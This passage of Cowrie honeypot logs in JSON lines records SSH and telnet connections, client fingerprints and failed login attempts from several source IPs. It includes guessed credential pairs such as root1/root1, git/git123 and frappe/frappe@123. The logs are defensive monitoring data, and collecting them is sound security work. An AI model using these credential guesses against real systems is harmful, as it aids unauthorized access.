-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:55.211728Z","src_ip":"152.32.189.59","session":"8bb8ee773900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.92899799346924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:55.534209Z","src_ip":"62.210.97.77","session":"1e836548b8dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78936791419983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:55.707828Z","src_ip":"62.210.97.77","session":"6601be2a37b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42114,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ee637b5645a","protocol":"telnet","message":"New connection: 62.210.97.77:42114 (10.17.0.5:23) [session: 8ee637b5645a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:55.788409Z"}
{"eventid":"cowrie.login.failed","username":"admin_123","password":"admin_123","message":"login attempt [admin_123/admin_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:56.077161Z","src_ip":"152.32.189.59","session":"8bb8ee773900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42122,"dst_ip":"10.17.0.5","dst_port":23,"session":"24f7336c218a","protocol":"telnet","message":"New connection: 62.210.97.77:42122 (10.17.0.5:23) [session: 24f7336c218a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:56.325399Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42130,"dst_ip":"10.17.0.5","dst_port":23,"session":"36f23e6f8150","protocol":"telnet","message":"New connection: 62.210.97.77:42130 (10.17.0.5:23) [session: 36f23e6f8150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:56.478302Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54382,"dst_ip":"159.203.135.109","dst_port":23,"session":"29652131506c","protocol":"telnet","message":"New connection: 134.209.8.29:54382 (159.203.135.109:23) [session: 29652131506c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:56.506262Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52740,"dst_ip":"10.17.0.5","dst_port":22,"session":"92e406c817fc","protocol":"ssh","message":"New connection: 176.65.132.254:52740 (10.17.0.5:22) [session: 92e406c817fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:57.072355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:57.077957Z","src_ip":"176.65.132.254","session":"92e406c817fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.193","src_port":2396,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cf8db1d0d97","protocol":"ssh","message":"New connection: 2.57.122.193:2396 (159.203.135.109:22) [session: 4cf8db1d0d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:57.107024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:57.111738Z","src_ip":"2.57.122.193","session":"4cf8db1d0d97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:57.195742Z","src_ip":"176.65.132.254","session":"92e406c817fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:57.220361Z","src_ip":"2.57.122.193","session":"4cf8db1d0d97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:57.304293Z","src_ip":"152.32.189.59","session":"8bb8ee773900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:57.457816Z","src_ip":"176.65.132.254","session":"92e406c817fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.49367094039917,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:57.491553Z","src_ip":"65.60.27.33","session":"91b21ee83f2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:57.672437Z","src_ip":"2.57.122.193","session":"4cf8db1d0d97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42140,"dst_ip":"10.17.0.5","dst_port":23,"session":"674f9c99a5f0","protocol":"telnet","message":"New connection: 62.210.97.77:42140 (10.17.0.5:23) [session: 674f9c99a5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:58.138263Z"}
{"eventid":"cowrie.session.closed","duration":48.3330340385437,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:58.489486Z","src_ip":"165.232.131.181","session":"f1e2f171d221","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:58.550229Z","src_ip":"176.65.132.254","session":"92e406c817fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45356,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e47257cf0a","protocol":"telnet","message":"New connection: 62.210.97.77:45356 (10.17.0.5:23) [session: 08e47257cf0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:58.724613Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45360,"dst_ip":"10.17.0.5","dst_port":23,"session":"656c9e67d156","protocol":"telnet","message":"New connection: 62.210.97.77:45360 (10.17.0.5:23) [session: 656c9e67d156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:00.836413Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52750,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eac83ae873f","protocol":"ssh","message":"New connection: 176.65.132.254:52750 (10.17.0.5:22) [session: 4eac83ae873f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:01.337311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:01.412828Z","src_ip":"176.65.132.254","session":"4eac83ae873f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58616,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed86271df9a9","protocol":"telnet","message":"New connection: 38.54.119.93:58616 (10.17.0.5:23) [session: ed86271df9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:01.473511Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:01.495549Z","src_ip":"176.65.132.254","session":"4eac83ae873f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:01.753763Z","src_ip":"176.65.132.254","session":"4eac83ae873f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.39132285118103,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:01.999966Z","src_ip":"62.210.97.77","session":"0c6536184d7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.91192936897278,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:02.246937Z","src_ip":"62.210.97.77","session":"bf57199ac101","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.27809429168701,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:02.310630Z","src_ip":"134.209.8.29","session":"c1373d043f9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57266,"dst_ip":"159.203.135.109","dst_port":23,"session":"b20731994161","protocol":"telnet","message":"New connection: 134.209.8.29:57266 (159.203.135.109:23) [session: b20731994161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:02.596229Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:02.842581Z","src_ip":"176.65.132.254","session":"4eac83ae873f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.050501346588135,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:04.984989Z","src_ip":"62.210.97.77","session":"6ebd601985ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53634,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b5d225efc24","protocol":"ssh","message":"New connection: 176.65.132.254:53634 (10.17.0.5:22) [session: 4b5d225efc24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:05.463816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:05.469581Z","src_ip":"176.65.132.254","session":"4b5d225efc24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:05.554316Z","src_ip":"176.65.132.254","session":"4b5d225efc24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:05.817459Z","src_ip":"176.65.132.254","session":"4b5d225efc24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45366,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a8d6c5c1998","protocol":"telnet","message":"New connection: 62.210.97.77:45366 (10.17.0.5:23) [session: 0a8d6c5c1998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:06.365442Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:07.083679Z","src_ip":"176.65.132.254","session":"4b5d225efc24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57288,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d9c0fdfd0c","protocol":"telnet","message":"New connection: 65.60.27.33:57288 (10.17.0.5:23) [session: 93d9c0fdfd0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:08.343440Z"}
{"eventid":"cowrie.session.closed","duration":6.91405177116394,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:08.387442Z","src_ip":"38.54.119.93","session":"ed86271df9a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.28298306465149,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:08.763380Z","src_ip":"62.210.97.77","session":"8c3d19e1fcbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56870,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e7a3a339337","protocol":"telnet","message":"New connection: 62.210.97.77:56870 (10.17.0.5:23) [session: 4e7a3a339337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:09.099559Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53658,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2637c44bbc2","protocol":"ssh","message":"New connection: 176.65.132.254:53658 (10.17.0.5:22) [session: f2637c44bbc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:09.238137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:09.346268Z","src_ip":"176.65.132.254","session":"f2637c44bbc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:09.350547Z","src_ip":"176.65.132.254","session":"f2637c44bbc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.10985541343689,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:09.493384Z","src_ip":"62.210.97.77","session":"cb8f6401c1ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.03625178337097,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:09.729542Z","src_ip":"62.210.97.77","session":"dc3054d3a653","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:09.847139Z","src_ip":"176.65.132.254","session":"f2637c44bbc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56874,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8b155eb14ac","protocol":"telnet","message":"New connection: 62.210.97.77:56874 (10.17.0.5:23) [session: e8b155eb14ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:10.371588Z"}
{"eventid":"cowrie.session.closed","duration":36.32990217208862,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:10.771201Z","src_ip":"62.210.97.77","session":"e81cda117dd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:10.944742Z","src_ip":"176.65.132.254","session":"f2637c44bbc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56888,"dst_ip":"10.17.0.5","dst_port":23,"session":"19630ef23b8f","protocol":"telnet","message":"New connection: 62.210.97.77:56888 (10.17.0.5:23) [session: 19630ef23b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:11.100719Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56900,"dst_ip":"10.17.0.5","dst_port":23,"session":"6aa7e3877664","protocol":"telnet","message":"New connection: 62.210.97.77:56900 (10.17.0.5:23) [session: 6aa7e3877664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:11.126165Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56916,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2d9438d3631","protocol":"telnet","message":"New connection: 62.210.97.77:56916 (10.17.0.5:23) [session: a2d9438d3631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:11.269422Z"}
{"eventid":"cowrie.session.closed","duration":35.0295844078064,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:11.467232Z","src_ip":"62.210.97.77","session":"105555409e7a","protocol":"telnet"}
